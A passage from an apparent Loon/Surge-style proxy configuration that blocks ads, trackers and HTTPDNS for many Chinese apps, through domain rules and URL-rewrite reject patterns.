switch,true,false,tag=网易有道词典-脚本开关 +wfnibovj_enable = switch,true,false,tag=温尼伯站-脚本开关 +xnmiuhig_enable = switch,true,false,tag=小米商城-脚本开关 +xntuisis_enable = switch,true,false,tag=小兔充充-脚本开关 +xnmh_enable = switch,true,false,tag=小芒-脚本开关 +xmyu_enable = switch,true,false,tag=闲鱼-脚本开关 +xljnuiyivsuvgo_enable = switch,true,false,tag=香蕉是一种水果-脚本开关 +xnhsuu_enable = switch,true,false,tag=小红书-脚本开关 +ximalaya_enable = switch,true,false,tag=喜马拉雅-脚本开关 +youtube_enable = switch,true,false,tag=YouTube-脚本开关 +yzku_enable = switch,true,false,tag=优酷-脚本开关 +yzxiapp_enable = switch,true,false,tag=悠洗APP-脚本开关 +vihu_enable = switch,true,false,tag=知乎-脚本开关 +vhuhgsjn_enable = switch,true,false,tag=掌上公交-脚本开关 +vrvr_enable = switch,true,false,tag=转转-脚本开关 +vsgogojihhks_enable = switch,true,false,tag=中国国际航空-脚本开关 +vsgorfbc_enable = switch,true,false,tag=中国人保-脚本开关 + + + +[Rule] +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > 哔哩哔哩 +DOMAIN,api.biliapi.com,REJECT +DOMAIN,app.biliapi.com,REJECT +DOMAIN,api.biliapi.net,REJECT +DOMAIN,app.biliapi.net,REJECT +# 开屏广告 +URL-REGEX, ^http:\/\/upos-sz-static\.bilivideo\.com\/ssaxcode\/\w{2}\/\w{2}\/\w{32}-1-SPLASH, REJECT-DICT +URL-REGEX, ^http:\/\/[\d\.]+:8000\/v1\/resource\/\w{32}-1-SPLASH, REJECT-DICT + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > 韩剧TV +DOMAIN,mi.gdt.qq.com,REJECT +DOMAIN,adsmind.ugdtimg.com,REJECT +DOMAIN,pgdt.ugdtimg.com,REJECT +DOMAIN,v2mi.gdt.qq.com,REJECT +DOMAIN,da.bridgeturbo.com,REJECT +DOMAIN,adx-os.bridgeturbo.com,REJECT +DOMAIN,adx-bj.anythinktech.com,REJECT +DOMAIN,mobads.baidu.com,REJECT + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > Keep +# 感谢【可莉🅥】分享 +# 拦截HTTPDNS +DOMAIN, httpdns.n.netease.com, REJECT +DOMAIN, httpdns.calorietech.com, REJECT +# 拦截广告下发 +DOMAIN, hc-ssp.sm.cn, REJECT + +# > 快递100 +# 感谢【可莉🅥】分享 +AND,((DOMAIN-KEYWORD,-ad-),(DOMAIN-SUFFIX,byteimg.com)),REJECT +AND,((DOMAIN-KEYWORD,-ttam-),(DOMAIN-SUFFIX,ibyteimg.com)),REJECT +AND,((DOMAIN-KEYWORD,ssdk-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,pangolin),(DOMAIN-SUFFIX,sgsnssdk.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-short.bytetos.com)),REJECT +AND,((DOMAIN-KEYWORD,v),(DOMAIN-KEYWORD,-be-pack.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-be-pack.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,s),(DOMAIN-KEYWORD,-fe-scm.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-ttcdn-tos.pstatp.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-fe-tos.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-static.i18n-pglstatp.com)),REJECT +AND,((DOMAIN-KEYWORD,if),(DOMAIN-KEYWORD,-cdn-tos.bytescm.com)),REJECT //误杀 +AND,((DOMAIN-KEYWORD,if),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,ads),(DOMAIN-KEYWORD,normal),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-access-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-log-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-dual-event-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,pangolin),(DOMAIN-SUFFIX,sgsnssdk.com)),REJECT +AND,((DOMAIN-KEYWORD,ads),(DOMAIN-KEYWORD,-normal-lq),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +URL-REGEX,"^http:\/\/p\d+-be-pack-sign\.pglstatp-toutiao\.com\/(ad-app-package|web\.business\.image)\/",REJECT +DOMAIN,mon.zijieapi.com,REJECT +DOMAIN,lf-ad-ies.bytecdn.cn,REJECT +DOMAIN,i.snssdk.com,REJECT +DOMAIN,is.snssdk.com,REJECT +DOMAIN,bds.snssdk.com,REJECT +DOMAIN,dm.bytedance.com,REJECT +DOMAIN,dm.pstatp.com,REJECT +DOMAIN,dm.toutiao.com,REJECT +DOMAIN,log.snssdk.com,REJECT +DOMAIN,s3a.pstatp.com,REJECT +DOMAIN,sdfp.snssdk.com,REJECT +DOMAIN,tosv.boe.byted.org,REJECT +DOMAIN,tosv.byted.org,REJECT +DOMAIN,extlog.snssdk.com,REJECT +DOMAIN,mssdk-bu.bytedance.com,REJECT +DOMAIN,toblog.ctobsnssdk.com,REJECT +DOMAIN,mssdk.volces.com,REJECT +DOMAIN,pangolin.snssdk.com,REJECT +DOMAIN,gromore.pangolin-sdk-toutiao.com,REJECT +DOMAIN,ether-pack.pangolin-sdk-toutiao.com,REJECT +DOMAIN-KEYWORD,-ad-sign.byteimg.com,REJECT +DOMAIN-KEYWORD,api-access.pangolin-sdk-toutiao,REJECT +DOMAIN-KEYWORD,log-api.pangolin-sdk-toutiao,REJECT +DOMAIN-KEYWORD,-ad.byteoversea.com,REJECT +DOMAIN-KEYWORD,video-cn.snssdk.com,REJECT +DOMAIN-KEYWORD,asiad.byteactivity,REJECT +DOMAIN,adsmind.gdtimg.com,REJECT +DOMAIN,adsmind.ugdtimg.com,REJECT +DOMAIN,c2.gdt.qq.com,REJECT +DOMAIN,huatuocode.huatuo.qq.com,REJECT +DOMAIN,info4.video.qq.com,REJECT +DOMAIN,info6.video.qq.com,REJECT +DOMAIN,ios.bugly.qq.com,REJECT +DOMAIN,ios.video.mpush.qq.com,REJECT +DOMAIN,mi.gdt.qq.com,REJECT +DOMAIN,otheve.beacon.qq.com,REJECT +DOMAIN,pgdt.gtimg.cn,REJECT +DOMAIN,pgdt.ugdtimg.com,REJECT +DOMAIN,qzs.gdtimg.com,REJECT +DOMAIN,qzs.qq.com,REJECT +DOMAIN,rmonitor.qq.com,REJECT +DOMAIN,sdk.e.qq.com,REJECT +DOMAIN,sdkconfig.video.qq.com,REJECT +DOMAIN,t.gdt.qq.com,REJECT +DOMAIN,tmead.y.qq.com,REJECT +DOMAIN,tmeadbak.y.qq.com,REJECT +DOMAIN,tmeadcomm.y.qq.com,REJECT +DOMAIN,tpns.qq.com,REJECT +DOMAIN,v.gdt.qq.com,REJECT +DOMAIN,v2.gdt.qq.com,REJECT +DOMAIN,win.gdt.qq.com,REJECT +DOMAIN,wup.imtt.qq.com,REJECT +DOMAIN,tpstelemetry.tencent.com,REJECT +DOMAIN-KEYWORD,trace.qq.com,REJECT +DOMAIN-KEYWORD,trace.video.qq.com,REJECT +DOMAIN-SUFFIX,gdt.qq.com,REJECT +DOMAIN-SUFFIX,l.qq.com,REJECT +DOMAIN-SUFFIX,ugdtimg.com,REJECT +IP-CIDR,47.110.187.87/32,REJECT,no-resolve +DOMAIN,cnlogs.umeng.com,REJECT +DOMAIN,errlog.umeng.com,REJECT +DOMAIN,errnewlog.umeng.com,REJECT +DOMAIN,ucc.umeng.com,REJECT +DOMAIN,ulogs.umeng.com,REJECT +DOMAIN,utoken.umeng.com,REJECT +DOMAIN,deeplink.umeng.com,REJECT +DOMAIN,aspect-upush.umeng.com,REJECT +DOMAIN,plbslog.umeng.com,REJECT +DOMAIN,log.umtrack.com,REJECT +DOMAIN,aaid.umeng.com,REJECT +DOMAIN,log.umsns.com,REJECT +DOMAIN,ali-stats.jpush.cn,REJECT +DOMAIN,ce3e75d5.jpush.cn,REJECT +DOMAIN,config-junion.jpush.cn,REJECT +DOMAIN,config.jpush.cn,REJECT +DOMAIN,fcapi-ipv6.jpush.cn,REJECT +DOMAIN,gd-stats.jpush.cn,REJECT +DOMAIN,s.jpush.cn,REJECT +DOMAIN,sdk.verification.jiguang.cn,REJECT +DOMAIN,sis-ipv6.jpush.cn,REJECT +DOMAIN,smartop-sdkapi.jiguang.cn,REJECT +DOMAIN,status-ipv6.jpush.cn,REJECT +DOMAIN,tsis.jpush.cn,REJECT +DOMAIN,user.jpush.cn,REJECT +DOMAIN-SUFFIX,jiguang.cn,REJECT +DOMAIN-SUFFIX,jpush.cn,REJECT +DOMAIN-SUFFIX,jpush.io,REJECT +DOMAIN,sdk.tianmu.mobi,REJECT +DOMAIN,tracker.tianmu.mobi,REJECT +DOMAIN,sdk.beizi.biz,REJECT +DOMAIN,api-htp.beizi.biz,REJECT +DOMAIN,monitor.ssp.admobile.top,REJECT +DOMAIN,sdk.ssp.admobile.top,REJECT +DOMAIN,ax.admobile.top,REJECT +DOMAIN,jump.admobile.top,REJECT +DOMAIN-SUFFIX,admobile.top,REJECT +DOMAIN,gdfp.gifshow.com,REJECT +DOMAIN,open.e.kuaishou.com,REJECT +DOMAIN-SUFFIX,adukwai.com,REJECT +DOMAIN,adx.adtaipo.com,REJECT +DOMAIN,adx.kuaiyiad.com,REJECT +DOMAIN,adreport.adtianmai.com,REJECT +DOMAIN,adxapi.readgps.com,REJECT +DOMAIN,t.fanglinad.com,REJECT +DOMAIN,trk1.17admob.com,REJECT +DOMAIN,nfy.slyxmobi.com,REJECT +DOMAIN,api.mobrtb.com,REJECT +DOMAIN,ssp.maplehaze.cn,REJECT +DOMAIN-SUFFIX,lnk0.com,REJECT + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > 汽水音乐 +# 感谢【可莉🅥】分享 +# 拦截HTTPDNS +AND, ((DOMAIN-KEYWORD, api100-core-quic-), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, api100-normal-quic-), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, api100-normal-quic-aweme-), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, api100-quic-core-), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, api100-quic-normal-), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, frontier-aweme-), (AND, ((OR, ((DOMAIN-KEYWORD, -ipa.), (DOMAIN-KEYWORD, -ipainner.), (DOMAIN-KEYWORD, -origin.), (DOMAIN-KEYWORD, -ipainner-))), (OR, ((DOMAIN-SUFFIX, snssdk.com), (DOMAIN-SUFFIX, amemv.com)))))), REJECT +AND, ((DOMAIN-KEYWORD, frontier100-aweme), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, ma5-normal-), (DOMAIN-SUFFIX, zijieapi.com)), REJECT +AND, ((DOMAIN-KEYWORD, polaris5-normal-), (DOMAIN-SUFFIX, zijieapi.com)), REJECT +AND, ((DOMAIN-KEYWORD, webcast100-ws-c-), (DOMAIN-SUFFIX, amemv.com)), REJECT +AND, ((DOMAIN-KEYWORD, tnc), (AND, ((OR, ((DOMAIN-KEYWORD, -bjlgy), (DOMAIN-KEYWORD, -alisc), (DOMAIN-KEYWORD, -aliec), (DOMAIN-KEYWORD, -alisg))), (OR, ((DOMAIN-SUFFIX, snssdk.com), (DOMAIN-SUFFIX, isnssdk.com), (DOMAIN-SUFFIX, toutiaoapi.com), (DOMAIN-SUFFIX, bytedance.com), (DOMAIN-SUFFIX, zijieapi.com)))))), REJECT +DOMAIN, frontier-aweme-hl.snssdk.com, REJECT +DOMAIN, frontier-aweme.snssdk.com, REJECT +DOMAIN, frontier-quic-test.bytedance.com, REJECT +AND, ((IP-CIDR, 110.249.199.75/32, no-resolve), (DEST-PORT, 6443)), REJECT +AND, ((IP-CIDR, 111.225.147.191/32, no-resolve), (DEST-PORT, 6443)), REJECT +AND, ((IP-CIDR, 111.63.61.101/32, no-resolve), (DEST-PORT, 6443)), REJECT +AND, ((IP-CIDR, 220.243.141.0/32, no-resolve), (DEST-PORT, 6443)), REJECT + +# 字节跳动广告 +AND, ((DOMAIN-KEYWORD, -ad-), (DOMAIN-SUFFIX, byteimg.com)), REJECT +# AND, ((DOMAIN-KEYWORD, -sign-), (DOMAIN-SUFFIX, tiktokcdn.com)), REJECT +AND, ((DOMAIN-KEYWORD, -ttam-), (DOMAIN-SUFFIX, ibyteimg.com)), REJECT +AND, ((DOMAIN-KEYWORD, ssdk-), (DOMAIN-SUFFIX, pangle.io)), REJECT +AND, ((DOMAIN-KEYWORD, pangolin), (DOMAIN-SUFFIX, sgsnssdk.com)), REJECT +AND, ((DOMAIN-KEYWORD, lf), (DOMAIN-KEYWORD, -short.bytetos.com)), REJECT +AND, ((DOMAIN-KEYWORD, v), (DOMAIN-KEYWORD, -be-pack.pglstatp-toutiao.com)), REJECT +AND, ((DOMAIN-KEYWORD, sf), (DOMAIN-KEYWORD, -be-pack.pglstatp-toutiao.com)), REJECT +AND, ((DOMAIN-KEYWORD, s), (DOMAIN-KEYWORD, -fe-scm.pglstatp-toutiao.com)), REJECT +AND, ((DOMAIN-KEYWORD, sf), (DOMAIN-KEYWORD, -ttcdn-tos.pstatp.com)), REJECT +# AND, ((DOMAIN-KEYWORD, p), (DOMAIN-KEYWORD, -be-pack-sign.pglstatp-toutiao.com)), REJECT // 被更精细的规则替代 +# AND, ((DOMAIN-KEYWORD, sf), (DOMAIN-KEYWORD, -fe-tos.pglstatp-toutiao.com)), REJECT // 被复写替代 +AND, ((DOMAIN-KEYWORD, sf), (DOMAIN-KEYWORD, -static.i18n-pglstatp.com)), REJECT +# AND, ((DOMAIN-KEYWORD, if), (DOMAIN-KEYWORD, -cdn-tos.bytescm.com)), REJECT //误杀 +AND, ((DOMAIN-KEYWORD, if), (DOMAIN-KEYWORD, -analytics.bytescm.com)), REJECT +AND, ((DOMAIN-KEYWORD, lf), (DOMAIN-KEYWORD, -analytics.bytescm.com)), REJECT +AND, ((DOMAIN-KEYWORD, lf), (DOMAIN-KEYWORD, -analytics.bytescm.com)), REJECT +AND, ((DOMAIN-KEYWORD, ads), (DOMAIN-KEYWORD, normal), (DOMAIN-SUFFIX, zijieapi.com)), REJECT +AND, ((DOMAIN-KEYWORD, api), (DOMAIN-KEYWORD, -access-), (DOMAIN-SUFFIX, pangle.io)), REJECT +AND, ((DOMAIN-KEYWORD, api), (DOMAIN-KEYWORD, -log-), (DOMAIN-SUFFIX, pangle.io)), REJECT +AND, ((DOMAIN-KEYWORD, api), (DOMAIN-KEYWORD, -dual-event-), (DOMAIN-SUFFIX, pangle.io)), REJECT +AND, ((DOMAIN-KEYWORD, api), (DOMAIN-KEYWORD, pangolin), (DOMAIN-SUFFIX, sgsnssdk.com)), REJECT +AND, ((DOMAIN-KEYWORD, ads), (DOMAIN-KEYWORD, -normal-lq), (DOMAIN-SUFFIX, zijieapi.com)), REJECT +URL-REGEX, ^http:\/\/p\d+-be-pack-sign\.pglstatp-toutiao\.com\/(ad-app-package|web\.business\.image)\/, REJECT +DOMAIN, mon.zijieapi.com, REJECT +DOMAIN, i.snssdk.com, REJECT +DOMAIN, is.snssdk.com, REJECT +DOMAIN, bds.snssdk.com, REJECT +DOMAIN, dm.bytedance.com, REJECT +DOMAIN, dm.pstatp.com, REJECT +DOMAIN, dm.toutiao.com, REJECT +DOMAIN, log.snssdk.com, REJECT +DOMAIN, s3a.pstatp.com, REJECT +DOMAIN, sdfp.snssdk.com, REJECT +DOMAIN, tosv.boe.byted.org, REJECT +DOMAIN, tosv.byted.org, REJECT +DOMAIN, extlog.snssdk.com, REJECT +DOMAIN, mssdk-bu.bytedance.com, REJECT +DOMAIN, toblog.ctobsnssdk.com, REJECT +DOMAIN, mssdk.volces.com, REJECT +DOMAIN, pangolin.snssdk.com, REJECT +DOMAIN, gromore.pangolin-sdk-toutiao.com, REJECT +DOMAIN-KEYWORD, -ad-sign.byteimg.com, REJECT +# DOMAIN-KEYWORD, api-access.pangolin-sdk-toutiao, REJECT // 被复写替代 +DOMAIN-KEYWORD, log-api.pangolin-sdk-toutiao, REJECT +DOMAIN-KEYWORD, -ad.byteoversea.com, REJECT +DOMAIN-KEYWORD, video-cn.snssdk.com, REJECT +DOMAIN-KEYWORD, asiad.byteactivity, REJECT + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > 网易大神 +# 拦截HTTPDNS +DOMAIN, httpdns.music.163.com, REJECT +DOMAIN, httpdns.n.netease.com, REJECT +DOMAIN, httpdns-sdk.n.netease.com, REJECT +DOMAIN, httpdns.yunxindns.com, REJECT +DOMAIN, lofter.httpdns.c.163.com, REJECT +DOMAIN, music.httpdns.c.163.com, REJECT +IP-CIDR, 59.111.239.61/32, REJECT, no-resolve +IP-CIDR, 59.111.239.62/32, REJECT, no-resolve +IP-CIDR, 115.236.121.51/32, REJECT, no-resolve +IP-CIDR, 115.236.121.195/32, REJECT, no-resolve + +# > 网易云音乐 +DOMAIN, iadmusicmat.music.126.net, REJECT +DOMAIN, iadmat.nosdn.127.net, REJECT +DOMAIN, iadmatapk.nosdn.127.net, REJECT +DOMAIN, httpdns.n.netease.com, REJECT +DOMAIN, httpdns.music.163.com, REJECT + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小红书 +AND, ((PROTOCOL, QUIC), (DOMAIN-SUFFIX, xiaohongshu.com)), REJECT + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 云快充 微信小程序 +DOMAIN, et.ykccn.com, REJECT + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 知乎 +DOMAIN, appcloud.zhihu.com, REJECT +DOMAIN, appcloud2.in.zhihu.com, REJECT +DOMAIN, crash2.zhihu.com, REJECT +DOMAIN, mqtt.zhihu.com, REJECT +DOMAIN, sugar.zhihu.com, REJECT +DOMAIN, zxid-m.mobileservice.cn, REJECT +IP-CIDR, 103.41.167.237/32, REJECT, no-resolve +IP-CIDR, 118.89.204.198/32, REJECT, no-resolve +IP-CIDR6, 2402:4e00:1200:ed00:0:9089:6dac:96b6/128, REJECT, no-resolve + + + +[Rewrite] +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 12123 +# hostname = gab.122.gov.cn +#^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery reject +^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery\/adver$ reject + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< +# > 21经济网 +# hostname = api.21jingji.com +^https?:\/\/api\.21jingji\.com\/ad\/ reject + +# > 2345天气王 +# hostname = tianqi.2345.com +# 底下百家号广告 感谢【 🐈‍⬛👮】分享 +^http?:\/\/tianqi\.2345\.com\/api\/content\/getContentFeeds\.php reject-dict + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< +# > 360儿童卫士 +# hostname = ad.life.360.cn +# 开屏广告 感谢【别怕我又不乱来】分享 +^https?:\/\/ad\.life\.360\.cn\/v2\/app\/advertisement\/config\?sdk_ver= reject-dict + +# > 36kr +# hostname = gateway.36kr.com +^https?:\/\/gateway\.36kr\.com\/api\/adx\/ad\/show reject + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 555影视 +# hostname = vip7.fzwdyy.cn, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com +^https?:\/\/vip7\.fzwdyy\.cn:8083\/api\/(getAdvertInfo|getGOOGAdvert) reject-200 +^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/advert reject + +# > 51信用卡管家 +# hostname = api.u51.com +^https?:\/\/api\.u51\.com\/(generic-config-gateway|rs-resys)\/api\/v\d\/(creditpage-config|recommend) reject-200 + +# > 58 +# hostname = *.58cdn.com.cn, app.58.com +^https?:\/\/.+?\.58cdn\.com\.cn\/brandads\/ reject-200 +^https?:\/\/app\.58\.com\/api\/home\/(advertising|appadv)\/ reject +^https?:\/\/app\.58\.com\/api\/home\/invite\/popupAdv reject-200 +^https?:\/\/app\.58\.com\/api\/log\/ reject + +# > 500 +# hostname = evs.500.com +^https?:\/\/evs\.500\.com\/esinfo\/loading\/loading reject + +# > 51job +# hostname = appapi.51job*.com, cupid.51job*.com +^https?:\/\/appapi\.51job(app)?\.com\/api\/market\/(adtrace|get_launch|get_prompt) reject +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/recommend-infos reject + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > AcFun +# hostname = aes.acfun.cn, api-new.app.acfun.cn +^https?:\/\/aes\.acfun\.cn\/s\?adzones reject +^https?:\/\/api-new\.app\.acfun\.cn\/rest\/app\/flash\/screen\/ reject + +# > AppSo +# hostname = sso.ifanr.com +^https?:\/\/sso\.ifanr\.com\/jiong\/IOS\/appso\/splash\/ reject + +# > 阿里巴巴 +# hostname = acs.m.taobao.com, heic.alicdn.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources reject-dict +^https:\/\/heic\.alicdn\.com\/imgextra\/i\d\/\d*\/?[\w!]+-\d-(octopus|tps-1125-1602|tps-1080-1920)\.(jp|pn)g_(1\d{3}|9\d{2})x(1\d{3}|9\d{2})q[59]0 reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.adx\.flyad\.getad reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) reject-dict + +# > 阿里云盘 +# hostname = api.alipan.com, member.alipan.com +^https:\/\/api\.alipan\.com\/adrive\/v1\/file\/getTopFolders reject-dict +^https:\/\/member\.alipan\.com\/v2\/activity\/sign_in_luckyBottle reject-dict + +# > 爱奇艺 +# hostname = -i.vip.iqiyi.com, *.iqiyi.com +# 播放页开通会员提示 +^https?:\/\/act\.vip\.iqiyi\.com\/interact\/api\/v2\/show\? reject-dict +# 播放页多余动效 +^https?:\/\/iface2\.iqiyi\.com\/ivos\/interact\/video\/data\? reject-dict +# 播放页升级白金会员按钮 +^https?:\/\/iface2\.iqiyi\.com\/video\/3\.0\/v_interface_proxy\? reject-dict +# 青少年弹窗 +^https?:\/\/iface2\.iqiyi\.com\/views_pop\/3\.0\/pop_control\? reject-dict + +# > 爱企查 +# hostname = b2baifanfan.baidu.com +^https?:\/\/b2baifanfan\.baidu\.com\/crm\/web\/b2b\/im\/common\/getConfigByDeviceNum reject-200 + +# > 爱回收 +# hostname = gw.aihuishou.com +^https?:\/\/gw\.aihuishou\.com\/app-portal\/home\/getadvertisement reject + +# > 爱思助手 +# hostname = list-app-m.i4.cn +^https?:\/\/list-app-m\.i4\.cn\/(adclickcb|getHotSearchList|getopfstadinfo)\.xhtml reject + +# > 爱美剧 +# hostname = api.bjxkhc.com +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ver/index_ios$ reject +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/pay/ok$ reject-dict +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ads\/ reject + +# > 爱阅书香 +# hostname = icc.one +^https?:\/\/icc\.one\/iFreeTime\/xid32uxaoecnfv2\/ reject + +# > 爱桐乡 +# hostname = mapi.txcmapp.com +# 开屏广告 +^https?:\/\/mapi\.txcmapp\.com\/api\/open\/atx2\/ad\.php reject-200 + +# > 安徽掌上10000 +# hostname = www.ahzs10000.com +^https?:\/\/www\.ahzs10000\.com\/palmhall\/client\/base\/newVerson_getStartUp\.action reject-200 + +# > 安吉星 +# hostname = www.onstar.com.cn, api.shanghaionstar.com +# 开屏广告 +^https?:\/\/www\.onstar\.com\.cn\/mssos\/sos\/social\/v1\/community\/article\/page reject-dict +^https?:\/\/api\.shanghaionstar\.com\/sos\/contentinfo\/v1\/public\/landingpage reject-dict + +# > 澳觅 +# hostname = interface.aomiapp.com +^https?:\/\/interface\.aomiapp\.com\/aomi-ads reject + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > Blued +# hostname = social.blued.cn +# 主页推荐直播 +^https?:\/\/social\.blued\.cn\/users\/recommend reject-dict +# 未登录时个人界面广告 +^https?:\/\/social\.blued\.cn\/users\/no_auth\/benefit reject-dict + +# > 半月谈 +# hostname = www.banyuetanapp.com +# 开屏广告 +^https?:\/\/www\.banyuetanapp\.com\/byt-api\/ad\/getAdvertList\?adSpaceId=100000002 reject-200 + +# > 宝宝树孕育 +# hostname = aimg.babytreeimg.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com +^https?:\/\/aimg\.babytreeimg\.com\/group1\/M00\/*\/*\/.*.jpg reject-200 +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/plough\.babytree\.com\/plough\.do reject-200 +# 弹窗广告 感谢【Ron】分享 +^https?:\/\/mapiweb\.babytree\.com\/newapi\/luban\/behavior\/receive reject-200 +^https?:\/\/go\.babytree\.com\/go_pregnancy\/api\/index_activity\/get_app_index_activity reject-200 +^https?:\/\/go\.babytree\.com\/go_tool\/api\/feeding_record\/get_home_banner_info reject-dict + +# > 北京银行 +# hostname = cdnmobibank.bankofbeijing.com.cn +^https?:\/\/cdnmobibank\.bankofbeijing\.com\.cn\/cdn\/MarketingCloud\/.+\/.+\/99_1\/.+\.jpg reject-200 +# > 掌上京彩 +# hostname = cdn-xyk-app.bankofbeijing.com.cn +^https?:\/\/cdn-xyk-app\.bankofbeijing\.com\.cn\/cdn\/resource\/image\/advertise reject-200 + +# > 百度地图 +# hostname = dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com +^https?:\/\/dss0\.bdstatic\.com\/-0U0bnSm1A5BphGlnYG\/ reject-200 +^https?:\/\/dss0\.bdstatic\.com\/.+/tam-ogel\/.+\.(jpg|mp4) reject +^https?:\/\/tb1\.bdstatic\.com\/tb\/cms\/ngmis\/adsense\/*.jpg reject +^https?:\/\/tb2\.bdstatic\.com\/tb\/mobile\/spb\/widget\/jump reject-img +^https?:\/\/ss0\.bdstatic\.com/.+?_\d{3}_\d{4}\.jpg reject-200 +^https?:\/\/gss0\.bdstatic\.com\/.+?\/static\/wiseindex\/img\/bd_red_packet\.png reject-img + +# > 百度输入法 +# hostname = r6.mo.baidu.com, res.mi.baidu.com, mime.baidu.com, mbd.baidu.com +^https?:\/\/r6\.mo\.baidu\.com\/res\/file/advertisement\/files\/.+\.jpg reject +^https?:\/\/res\.mi\.baidu\.com\/imeres\/ime-res\/advertisement\/files\/.+\.jpg reject +^https?:\/\/mime\.baidu\.com\/v5\/activity\/advertisementnonrealtime reject +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads\/list reject +^https?:\/\/mime\.baidu\.com\/v5\/hotpatch\/check\?hotpatch reject +# 百度输入法开屏 +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads/list reject-dict +# 应用内灵感语录 输入页面推荐里语录 